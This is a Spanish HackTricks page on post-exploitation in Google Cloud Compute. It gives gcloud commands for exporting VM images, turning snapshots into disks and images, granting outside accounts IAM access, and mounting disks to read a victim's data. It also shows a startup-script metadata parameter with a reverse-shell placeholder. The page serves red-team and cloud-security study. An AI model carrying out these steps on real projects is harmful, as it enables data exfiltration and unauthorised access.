GCP - Compute Post Exploitation

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

Compute

Para obtener más información sobre Compute y VPC (Networking) consulta:

pageGCP - Compute Enum

Exportar e Inspeccionar Imágenes localmente

Esto permitiría a un atacante acceder a los datos contenidos dentro de imágenes existentes o crear nuevas imágenes de VM en ejecución y acceder a sus datos sin tener acceso a la VM en ejecución.

Es posible exportar una imagen de VM a un bucket y luego descargarla y montarla localmente con el comando:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Antes de realizar esta acción, el atacante podría necesitar privilegios sobre el bucket de almacenamiento y definitivamente privilegios sobre cloudbuild ya que es el servicio que se va a solicitar para realizar la exportación. Además, para que esto funcione, el SA de cloudbuild <project-id>@cloudbuild.gserviceaccount.com necesita:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

Y el SA <project-id>-compute@developer.gserviceaccount.com necesita:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

Exportar e Inspeccionar Instantáneas y Discos localmente

No es posible exportar instantáneas y discos directamente, pero es posible transformar una instantánea en un disco, un disco en una imagen y siguiendo la sección anterior, exportar esa imagen para inspeccionarla localmente

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspeccionar una imagen creando una VM

Con el objetivo de acceder a los datos almacenados en una imagen o dentro de una VM en ejecución desde donde un atacante ha creado una imagen, es posible otorgar acceso a una cuenta externa sobre la imagen:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

y luego crear una nueva VM a partir de ella:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Si no pudiste dar acceso a tu cuenta externa sobre la imagen, podrías lanzar una VM utilizando esa imagen en el proyecto de la víctima y hacer que los metadatos ejecuten un shell inverso para acceder a la imagen agregando el parámetro:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspeccionar un Snapshot/Disk adjuntándolo a una VM

Con el objetivo de acceder a los datos almacenados en un disco o un snapshot, podrías transformar el snapshot en un disco, un disco en una imagen y seguir los pasos anteriores.

O podrías conceder acceso a una cuenta externa sobre el disco (si el punto de partida es un snapshot, otorgar acceso sobre el snapshot o crear un disco a partir de él):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Adjuntar el disco a una instancia:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Montar el disco dentro de la VM:

  1. Accede por SSH a la VM:

gcloud compute ssh [NOMBRE_INSTANCIA] --zone [ZONA]
  1. Identifica el Disco: Una vez dentro de la VM, identifica el nuevo disco listando los dispositivos de disco. Normalmente, puedes encontrarlo como /dev/sdb, /dev/sdc, etc.

  2. Formatea y Monta el Disco (si es un disco nuevo o sin formato):

  • Crea un punto de montaje:

sudo mkdir -p /mnt/disks/[DIRECTORIO_MONTAJE]
  • Monta el disco:

sudo mount -o discard,defaults /dev/[DISPOSITIVO_DISCO] /mnt/disks/[DIRECTORIO_MONTAJE]

Si no puedes dar acceso a un proyecto externo a la instantánea o disco, es posible que necesites realizar estas acciones dentro de una instancia en el mismo proyecto que la instantánea/disco.

Última actualización